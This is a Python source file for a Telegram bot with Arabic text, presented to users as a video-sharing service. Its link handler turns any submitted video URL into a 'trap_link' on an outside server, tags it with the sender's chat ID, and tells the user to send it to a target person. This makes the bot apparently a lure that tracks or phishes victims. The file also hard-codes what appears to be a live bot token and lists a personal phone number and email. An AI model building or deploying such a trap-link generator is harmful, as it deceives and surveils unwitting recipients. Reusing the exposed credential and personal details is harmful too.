import asyncio
from aiogram import Bot, Dispatcher, types, F
from aiogram.filters import CommandStart, Command
from aiogram.types import InlineKeyboardMarkup, InlineKeyboardButton, ReplyKeyboardMarkup, KeyboardButton

BOT_TOKEN = "8162491685:AAHbJtaG6cfE1rxcsFXgerNvmXiRqlclRt4"
SERVER_URL = "https://web.elnadaonline.com"

bot = Bot(token=BOT_TOKEN)
dp = Dispatcher()

# القائمة الرئيسية
main_keyboard = ReplyKeyboardMarkup(
    keyboard=[
        [KeyboardButton(text="🎬 ارسال فيديو"), KeyboardButton(text="ℹ️ من نحن")],
        [KeyboardButton(text="📞 تواصل معنا"), KeyboardButton(text="❓ المساعدة")]
    ],
    resize_keyboard=True
)

# رسالة الترحيب
@dp.message(CommandStart())
async def start(message: types.Message):
    await message.answer(
        f"👋 أهلاً {message.from_user.first_name}!\n\n"
        "🎬 أنا بوت مشاركة الفيديوهات\n\n"
        "📌 كيف أعمل؟\n"
        "1️⃣ أرسل لي رابط أي فيديو\n"
        "2️⃣ سأعطيك رابطاً خاصاً\n"
        "3️⃣ أرسل الرابط لمن تريد\n\n"
        "اختر من القائمة أدناه 👇",
        reply_markup=main_keyboard
    )

# ارسال فيديو
@dp.message(F.text == "🎬 ارسال فيديو")
async def send_video_instructions(message: types.Message):
    await message.answer(
        "🎬 *إرسال فيديو*\n\n"
        "ببساطة أرسل لي رابط الفيديو مباشرة\n\n"
        "مثال:\n"
        "`https://www.youtube.com/watch?v=xxxxx`\n\n"
        "✅ يدعم: يوتيوب، انستجرام، تيك توك وغيرها",
        parse_mode="Markdown",
        reply_markup=main_keyboard
    )

# من نحن
@dp.message(F.text == "ℹ️ من نحن")
async def about(message: types.Message):
    keyboard = InlineKeyboardMarkup(inline_keyboard=[
        [InlineKeyboardButton(text="🌐 زيارة موقعنا", url="https://almutahida-ms.com")]
    ])
    await message.answer(
        "ℹ️ *من نحن*\n\n"
        "نحن فريق متخصص في تطوير بوتات تيليجرام\n"
        "وتقديم حلول تقنية مبتكرة\n\n"
        "🎯 هدفنا تقديم أفضل تجربة مستخدم\n"
        "💡 نعمل على تطوير مستمر لخدماتنا",
        parse_mode="Markdown",
        reply_markup=keyboard
    )

#test
@dp.message(F.text == "📞 تواصل معنا")
async def help_msg(message: types.Message):
    await message.answer(
        "قم بالتواصل معنا بالتفاصيل الاتيه\n\n"
        "01070904250\n"
        "mohamedwaelsalh2030@gmail.com",
        parse_mode="Markdown",
        reply_markup=main_keyboard
    )





# تواصل معنا
@dp.message(F.text == "📞 تواصل مفقعنا")
async def contact(message: types.Message):
    keyboard = InlineKeyboardMarkup(inline_keyboard=[
        [InlineKeyboardButton(text="💬 تيليجرام", url="https://t.me/your_username")],
        [InlineKeyboardButton(text="📧 البريد الإلكتروني", url="mailto:info@almutahida-ms.com")],
        [InlineKeyboardButton(text="🌐 الموقع الرسمي", url="https://web.elnadaonline.com")]
    ])
    await message.answer(
        "📞 *تواصل معنا*\n\n"
        "يسعدنا التواصل معك في أي وقت!\n\n"
        "اختر وسيلة التواصل المناسبة 👇",
        parse_mode="Markdown",
        reply_markup=keyboard
    )

# المساعدة
@dp.message(F.text == "❓ المساعدة")
async def help_msg(message: types.Message):
    await message.answer(
        "❓ *المساعدة*\n\n"
        "🔹 *كيف أرسل فيديو؟*\n"
        "فقط أرسل رابط الفيديو مباشرة في المحادثة\n\n"
        "🔹 *ما هي الروابط المدعومة؟*\n"
        "يوتيوب، انستجرام، تيك توك، فيسبوك وغيرها\n\n"
        "🔹 *ماذا يحدث بعد إرسال الرابط؟*\n"
        "ستحصل على رابط خاص ترسله لمن تريد\n\n"
        "🔹 *هل هناك مشكلة؟*\n"
        "تواصل معنا عبر قسم 📞 تواصل معنا",
        parse_mode="Markdown",
        reply_markup=main_keyboard
    )

# استقبال اللينك
@dp.message(F.text.startswith("http"))
async def handle_link(message: types.Message):
    original_url = message.text
    sender_chat_id = message.chat.id
    trap_link = f"{SERVER_URL}/watch?ref={sender_chat_id}&url={original_url}"

    keyboard = InlineKeyboardMarkup(inline_keyboard=[
        [InlineKeyboardButton(text="📤 نسخ الرابط", url=trap_link)]
    ])

    await message.answer(
        "✅ *تم إنشاء الرابط بنجاح!*\n\n"
        f"🔗 الرابط الخاص:\n`{trap_link}`\n\n"
        "📱 أرسل هذا الرابط للشخص المراد",
        parse_mode="Markdown",
        reply_markup=keyboard
    )

# أي رسالة تانية
@dp.message()
async def unknown(message: types.Message):
    await message.answer(
        "❗ لم أفهم رسالتك\n\n"
        "أرسل رابط فيديو مباشرة أو اختر من القائمة 👇",
        reply_markup=main_keyboard
    )

async def main():
    await dp.start_polling(bot)

if __name__ == "__main__":
    asyncio.run(main())
